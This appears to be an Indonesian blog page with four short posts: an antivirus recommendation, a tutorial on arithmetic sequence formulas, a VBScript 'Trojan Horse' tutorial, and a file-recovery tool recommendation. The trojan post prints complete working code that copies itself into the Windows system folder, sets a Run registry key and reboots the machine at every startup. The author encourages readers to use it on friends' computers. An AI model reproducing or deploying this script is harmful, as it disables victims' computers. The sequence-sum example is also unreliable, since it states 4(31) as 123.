AVG 2013 Free

Saya akan berbagi salah satu Antivirus free yang patut anda coba. Silahkan anda coba sendiri :).

AVG 2013 Free

Rumus Baris Aritmatika

Kali ini saya akan berbagi tentang salah satu rumus matematika. Rumus ini biasanya digunakan dalam menghitung suku ke-n suatu barisan atau jumlah "n" suku pertama.

1. Rumus menghitung suku ke-n :

Un = a+(n-1)b

Ket:

n = suku ditanyakan

a = suku pertama

b = selisih antar suku

Contoh :

Jika ada barisan 5,8,11,14... Hitung suku ke-15

Penyelesaian :

n = 15

a = 5

b = 8-5 = 3

Un = a+(n-1)b

U15 = 5+(15-1)3

U15 = 5+(14)3

U15 = 5+42

U15 = 47

2. Rumus jumlah "n" suku pertama :

Sn = (n:2){2a+(n-1)b}

Ket:

n = suku ditanyakan

a = suku pertama

b = selisih antar suku

Kita pake contoh yang di atas. Tapi kita hitung jumlah 8 suku pertama.

Penyelesaian :

n = 8

a = 5

b = 8-5 = 3

S8 = (8:2) {2(5)+(8-1)3}

S8 = 4{10+(7)3} 

S8 = 4(10+21)

S8 = 4(31)

S8 = 123

Membuat Virus Trojan Horse dengan Notepad

Bagi kalian yang pengen ngerjain temen-temen kalian. Pakai aja virus ini untuk meretas dan merusak file pada komputer mereka. Langsung saja ini dia scriptnya. Hati-hati. Virus ini benar-benar berbahaya. Silahkan copy scriptnya dan paste pada notepad dan simpan dalam ekstensi *.vbs. Contoh "Kampret.vbs". inget, ini cuma buat iseng. Dosa tanggung sendiri ;).

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

Aplikasi Recover File yang Terhapus Permanen

Mungkin anda tidak sengaja menghapus file pribadi anda yang sangat penting secara permanent. Atau anda memformatnya karena ada masalah dengan disk anda. Pasti anda akan keteteran bukan ?? Apalagi kalau itu tugas kantor, sekolah atau foto kekasih anda. Tapi tenang saja, hal itu masih dapat diakali dengan aplikasi GetData-RecoverMyFiles. Penggunaannya pun cukup mudah. Anda tinggal men-klik directory tempat file tersebut kemudian klik Option>>Next. Tunggu sampai aplikasi bekerja mengidentifikasi file yang terhapus. Jika file yang anda cari telah ditemukan, pilih kemudian klik Recover. Aplikasi ini juga dapat digunakan untuk merecover file pada flashdisk dan memory card yang terformat.










DOWNLOAD